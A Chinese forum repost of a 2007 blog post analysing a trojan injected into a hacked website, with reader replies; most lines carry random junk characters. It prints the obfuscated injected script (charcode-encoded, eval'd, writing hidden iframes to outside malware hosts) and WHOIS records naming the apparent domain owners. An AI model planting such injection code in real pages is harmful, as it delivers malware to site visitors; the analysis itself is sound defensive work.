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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, p8@&(+z  
M<NY`7$^  
http://www.areway.cn/?p=175 N!wuBRWR  
='4)E6ea?  
d6JW"  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: qz3 Z'  
          chKEGosbF  
<script>t=’60,105,102,114,97,109,101, "p|.[d  
32,115,114,99,61,104,116,116,112,58,47,47, UA2KY}pz5  
102,114,101,101,46,117,45,117,117,117,46,99, 5~jz| T}s  
110,47,101,114,114,111,114,46,104,116,109, U] GD6q  
32,119,105,100,116,104,61,49,48,48,32,104, 4pQf*l8e  
101,105,103,104,116,61,48,62,60,47,105,102, j|&D(]W/  
114,97,109,101,62′; Mlo,F1'?>  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> Xy!NBh7I  
                                                                                                  V.qH&FJ=l  
<script>t=’60,105,102,114,97,109,101,32,115, ~I;x_0iY4  
114,99,61,104,116,116,112,58,47,47,102,114, -Q JPJ.  
101,101,46,117,45,117,117,117,46,99,110,47, v7KBYN  
101,114,114,111,114,46,104,116,109,32,119, {7]maOg>7J  
105,100,116,104,61,49,48,48,32,104,101,105, pmWy:0R  
103,104,116,61,48,62,60,47,105,102,114,97, /J/V1dC}]D  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); ]d7A|)q  
document.write(t);</script> 8Yf*vp>T/x  
                                                                                                  (s&]V49  
<html xmlns=” OPjNmdeS  
http://www.w3.org/1999/xhtml DmPsE6G}  
“> pOn&D  
<head> hxM{}}.E  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> b)e;Q5Z(.  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> _kMHF  
<title>首页 - 爱生活家庭网 YVgH[-`,  
                                                                                                                                                    5XB]p|YU~s  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 \#VWZ\M8a  
转换字符串后的大概内容是(谁点击后果自付): K?! W9lUq  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… _E'}8.#{  
                                                                                                                                  V]+y*b.60  
查询玉米u-uuu.cn的详细信息: Y~{<Hs  
Domain Name: u-uuu.cn %g@\SR.  
ROID: 20070901s10001s64972306-cn DC1.f(cdR  
Domain Status: ok I%Yq86  
Registrant Organization: 王雷 u%yYLpaKf  
Registrant Name: 王雷 qGMU>J.;c  
Administrative Email: czlovexs@126.com Xa#.GrH6  
Sponsoring Registrar: 北京万网志成科技有限公司 AH/o-$C&  
Name Server:ns.yovole.com UQ;2g\([  
Name Server:ns1.yovole.com ty"L&$bf  
Registration Date: 2007-09-01 17:54 Z4As'al  
Expiration Date: 2008-09-01 17:54 %cUC~, g_(  
最后PING了一下地址 都没有什么…. jn ztCNaX  
                                                                                                4:a ~Wlp[  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. O< /b]<[  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> kBrA ?   
<script language=”javascript” src=” F!u)8>s+z{  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script IO 0nT  
> \aM-m:J  
这个玉米应该有可能是木马作者的: myN2G?>;  
foafau.info的详细信息: Z8Y& #cB  
Access to INFO WHOIS information is provided to assist persons in 9{j`eAUZl  
determining the contents of a domain name registration record in the 9@q!~ur  
Afilias registry database. The data in this record is provided by >4kQ9lXL  
Afilias Limited for informational purposes only, and Afilias does not eZ[Qhrc  
guarantee its accuracy.  This service is intended only for query-based c_+fA  
access. You agree that you will use this data only for lawful purposes 6fI2y4yEz  
and that, under no circumstances will you use this data to: (a) allow, $|J+  
enable, or otherwise support the transmission by e-mail, telephone, or 7 L ,`7k|  
facsimile of mass unsolicited, commercial advertising or solicitations 6Y,&q|K  
to entities other than the data recipient’s own existing customers; or MaY_*[  
(b) enable high volume, automated, electronic processes that send 0uW)&>W  
queries or data to the systems of Registry Operator, a Registrar, or B; NK\5>  
Afilias except as reasonably necessary to register domain names or }s@IQay+  
modify existing registrations. All rights reserved. Afilias reserves z;?jKE p  
the right to modify these terms at any time. By submitting this query, =>3,]hnep  
you agree to abide by this policy. gzSm=6Qw0  
Domain ID:D22418703-LRMS Q%?%zuU  
Domain Name:FOAFAU.INFO p!=8Pq.  
Created On:20-Nov-2007 16:05:42 UTC er-0i L@  
Last Updated On:20-Nov-2007 16:05:44 UTC [hg9 0Q6  
Expiration Date:20-Nov-2008 16:05:42 UTC tx9 %.)M:n  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) tKLeq(  
Status:CLIENT DELETE PROHIBITED MnF|'t  
Status:CLIENT RENEW PROHIBITED ILH[q>  
Status:CLIENT TRANSFER PROHIBITED 5EI"5&`*  
Status:CLIENT UPDATE PROHIBITED id : ^|  
Status:TRANSFER PROHIBITED w42{)S"  
Registrant ID:GODA-040110615 SC4jKm2  
Registrant Name:liu hong sH2xkUp  
Registrant Organization: XP%_|Q2X  
Registrant Street1:beijing sn^ 3xAF  
Registrant Street2: .|07IH/Di{  
Registrant Street3: ~Y*.cGA  
Registrant City:beijing Ank_;jo  
Registrant State/Province: wA/!A$v(  
Registrant Postal Code:100000 Pp69|lxV=k  
Registrant Country:CN SnXM`v,  
Registrant Phone:+86.860108888777 >.od(Fh{l|  
Registrant Phone Ext.: ts@$*  
Registrant FAX: G9QvIXRi  
Registrant FAX Ext.: n7Eh!<  
Registrant Email:bbbshiji@163.com BxlhCu  
Admin ID:GODA-240110615 M.MQ?`_"b  
Admin Name:liu hong Y:m8UnT  
Admin Organization: z2,NWmP|w  
Admin Street1:beijing mr G?5.7W  
Admin Street2:  f-[.^/  
Admin Street3: <b _K*]Z  
Admin City:beijing sg}<()  
Admin State/Province: F-ofR]|) >  
Admin Postal Code:100000 iiJT%Zq`#  
Admin Country:CN y $uq`FW  
Admin Phone:+86.860108888777 l$c/!V[3  
Admin Phone Ext.: V/"RCqY4  
Admin FAX: v*JKLA  
Admin FAX Ext.: +,ar`:x&a  
Admin Email:bbbshiji@163.com ,Fkq/h  
Billing ID:GODA-340110615 |4j6}g\  
Billing Name:liu hong 9IG<9uj  
Billing Organization: (0LA.aBIf  
Billing Street1:beijing md18q:AG)  
Billing Street2: +N+117m  
Billing Street3: mr#.uhd.z  
Billing City:beijing Sw-2vnSdM  
Billing State/Province: cyHbAtl  
Billing Postal Code:100000 3PRU  
Billing Country:CN U*sQ5uq  
Billing Phone:+86.860108888777 Y`-q[F?\y  
Billing Phone Ext.: <'sm($.2  
Billing FAX: p= x &X~  
Billing FAX Ext.: !J<0.nO/:  
Billing Email:bbbshiji@163.com :]Om4Q\-#  
Tech ID:GODA-140110615 eS ?9}TG|  
Tech Name:liu hong upk_;ae  
Tech Organization: jR\ !2!  
Tech Street1:beijing u0oTqD?  
Tech Street2: T>#~.4A0  
Tech Street3: 4,X CbcC  
Tech City:beijing G^SJhdO(Q  
Tech State/Province: _]Ob)RUVH  
Tech Postal Code:100000 WpE "A  
Tech Country:CN Xf7]+  
Tech Phone:+86.860108888777 D5bi)@G7z  
Tech Phone Ext.: KOXG=P0  
Tech FAX: &K[~Ab_  
Tech FAX Ext.: Bv3B|D&+  
Tech Email:bbbshiji@163.com '4u/g  
Name Server:NS27.DOMAINCONTROL.COM &X` lh P  
Name Server:NS28.DOMAINCONTROL.COM d*k5h<jM  
Name Server: `uusUw-Gf  
Name Server: z+wegF  
Name Server: 2MYez>D  
Name Server: xpuTh"ED  
Name Server: `#`C.:/n  
Name Server: ..'"kX:5  
Name Server: 8 E l hcs  
Name Server: !~'D;Jh  
Name Server: oPbziB8  
Name Server: w7pX]<?R"  
Name Server: 46\!W(O~y  
                                                                                                          '4~I %Z7L  
接着下载每个文件里面的代码: #{?RE?nD  
一步一步看.. NhF"%  
f61vE  
/.A"HGAk  
FdEUZ[IT`{  
%Q]thv:  
,g"JgX  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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